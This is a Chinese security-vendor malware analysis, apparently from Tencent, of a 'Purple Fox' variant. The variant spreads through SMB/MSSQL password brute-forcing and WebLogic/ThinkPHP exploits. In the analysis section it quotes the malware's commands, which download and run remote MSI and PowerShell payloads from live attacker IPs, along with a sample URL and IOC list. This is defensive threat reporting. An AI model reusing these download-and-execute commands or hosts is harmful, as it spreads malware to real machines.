紫狐病毒再升级,利用弱口令爆破及服务器漏洞攻击传播 - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com

紫狐病毒再升级,利用弱口令爆破及服务器漏洞攻击传播

腾讯安全 资讯 2020-02-27 14:38:31
收藏

导语:腾讯安全威胁情报中心检测到“紫狐”病毒最新变种。

一、背景

腾讯安全威胁情报中心检测到“紫狐”病毒最新变种,该变种通过SMB和MSSQL弱口令爆破攻击传播,同时还会利用Weblogic和ThinkPHP等服务器组件的远程代码执行漏洞进行攻击传播,使该病毒家族的传播能力再次增强,该病毒家族最终通过控制肉鸡电脑刷量、推广安装用户不需要的软件来获利。

紫狐病毒家族最先出现在2018年,最初通过木马下载器进行传播,一直活跃至今。随后又通过刷量软件进行传播(详见:御见威胁情报中心在9月份披露的刷量软件“流量宝流量版”通过挂马攻击传播“紫狐”病毒事件)。新病毒变种通过PendingFileRenameOperations机制替换系统文件实现开机启动,释放安装驱动程序对木马进行保护,有较强的持久化攻击能力。

“紫狐“病毒近期攻击趋势如下:

image.png

二、样本分析

从http://207.148.86.248:17941/0E2335FDC174DB4EBECF77184CBF8706.moe

下载得到样本(md5: 372c265d58089533dae5b42c2e94078b)实际上是MSI安装包,木马安装包MSI包含3个文件,一个非PE文件(加密的PE文件),另外两个分别是32位和64位的木马DLL,病毒仍然通过系统PendingFileRenameOperations机制替换系统文件实现开机启动。

 image.png

msi安装后系统提示重启计算机。

image.png

 

重启系统后释放文件C:\Windows\AppPatch\Ke971119.xsl,解密得到木马

DLL C:\Windows\System32\Ms6E6AA944App.dll

image.png

 

然后尝试通过写入注册表将木马DLL安装为服务。

HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\Ms6E6AA944AppBak\Parameters\ServiceDll C:\Windows\System32\Ms6E6AA944App.dll。

Ms6E6AA944App.dll解密驱动,安装系统回调Cmpcallback。

image.png

 

驱动安装文件过滤系统保护木马。

image.png

将shellcode注入svchost.exe,针对本机同网段的随机IP地址扫描445端口,1433端口,然后针对开放端口的机器发起SMB爆破和MSSQL爆破攻击。

 image.png

爆破时使用内置的IP列表,密码字典如下:

 image.png

SMB爆破成功后利用smbexec执行命令:

Cmd /c for /d %i in (110.14.163.112:10668 207.148.86.248:17941 45.32.64.219:17022) do Msiexec /i http://%i/72AFD4AB0CB8B0453C3E90E7903D9315.moe /Q

MsSQL爆破成功后通过“cmdexec”执行shell命令:

"C:/Windows/system32/cmd.exe" /c mshta vbscript:createobject("wscript.shell").run("Cmd /c for /d %i in (221.139.50.136:12900 91.90.195.15:13446 207.148.86.248:17941) do Msiexec /i http://%i/61BF1E594ABE3B46B111B1A3C82CAFEA.moe /Q",0)(window.close)

image.png

MsSQL爆破时还会通过Powershell运行Sqlexec,然后将命令作为参数ExeArgs传入执行:

C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString(http://rawcdn.githack.com/28308/256/388472586c8aed167752f6174e7de42660b68551/Sqlexec/pe.jpg);Invoke-ReflectivePEInjection -PEUrl http://rawcdn.githack.com/28308/256/388472586c8aed167752f6174e7de42660b68551/Sqlexec/1505164.jpg -ExeArgs /Cmd /c for /d %i in (218.237.120.252:18071 207.148.86.248:17941 167.179.105.30:18745) do Msiexec /i http://%i/61BF1E594ABE3B46B111B1A3C82CAFEA.moe

在全局启动目录下写入1.hta脚本文件进行木马下载。

 image.png

分析发现,紫狐病毒还会利用Weblogic反序列化远程代码执行漏洞(CNVD-C-2019-48814,CVE-2019-2725)进行攻击。由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,利用该漏洞获取服务器权限,实现远程代码执行,漏洞受影响程序版本为OracleWebLogic Server 10.*、Oracle WebLogic Server 12.1.3。

image.png

利用ThinkPHP远程命令执行的高危漏洞(CNVD-2018-24942)进行攻击,该漏洞主要因为php代码中route/dispatch模块没有对URL中的恶意命令进行过滤导致,在没有开启强制路由的情况下,能够造成远程命令执行,包括执行shell命令,调用php函数,写入webshell等。主要影响的版本包括 5.x < 5.1.31, 5.x <= 5.0.23。

 image.png

三、安全建议

1. 建议企业服务器关闭非必须启用的网络端口(如135、139、445),方法可参考:https://guanjia.qq.com/web_clinic/s8/585.html

2. 企业内网通过密码安全策略强制使用高强度密码,切勿使用弱口令,切勿一个密码通用于多台服务器,防止黑客暴力破解;

3. 定期对服务器进行加固,尽早修复企业服务器相关组件的安全漏洞,并及时进行漏洞修复;

IOCs

Md5

372c265d58089533dae5b42c2e94078b

URL

http[:]//91.90.195.224:17196/72AFD4AB0CB8B0453C3E90E7903D9315.moe

http[:]//207.148.86.248:17941/72AFD4AB0CB8B0453C3E90E7903D9315.moe

http[:]//23.237.73.2:17648/72AFD4AB0CB8B0453C3E90E7903D9315.moe

http[:]//45.32.64.219:17022/72AFD4AB0CB8B0453C3E90E7903D9315.moe

http[:]//210.59.180.68:19523/72AFD4AB0CB8B0453C3E90E7903D9315.moe

http[:]//207.148.86.248:17941/C2ADDD9840398A1D8CB6CD35C0C50A4C.moe

http[:]//222.161.241.28:18327/C2ADDD9840398A1D8CB6CD35C0C50A4C.moe

http[:]//108.61.207.111:10590/C2ADDD9840398A1D8CB6CD35C0C50A4C.moe

http[:]//207.148.86.248:17941/61BF1E594ABE3B46B111B1A3C82CAFEA.moe

http[:]//36.26.51.86:18265/61BF1E594ABE3B46B111B1A3C82CAFEA.moe

http[:]//58.220.24.52:14805/61BF1E594ABE3B46B111B1A3C82CAFEA.moe

http[:]//45.32.64.219:17022/28C9462EF9857C7BBD244FED7D287E2A.moe

http[:]//139.180.135.16:14099/28C9462EF9857C7BBD244FED7D287E2A.moe

http[:]//207.148.86.248:17941/28C9462EF9857C7BBD244FED7D287E2A.moe

http[:]//221.139.50.136:12900/61BF1E594ABE3B46B111B1A3C82CAFEA.moe

http[:]//91.90.195.15:13446/61BF1E594ABE3B46B111B1A3C82CAFEA.moe

如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论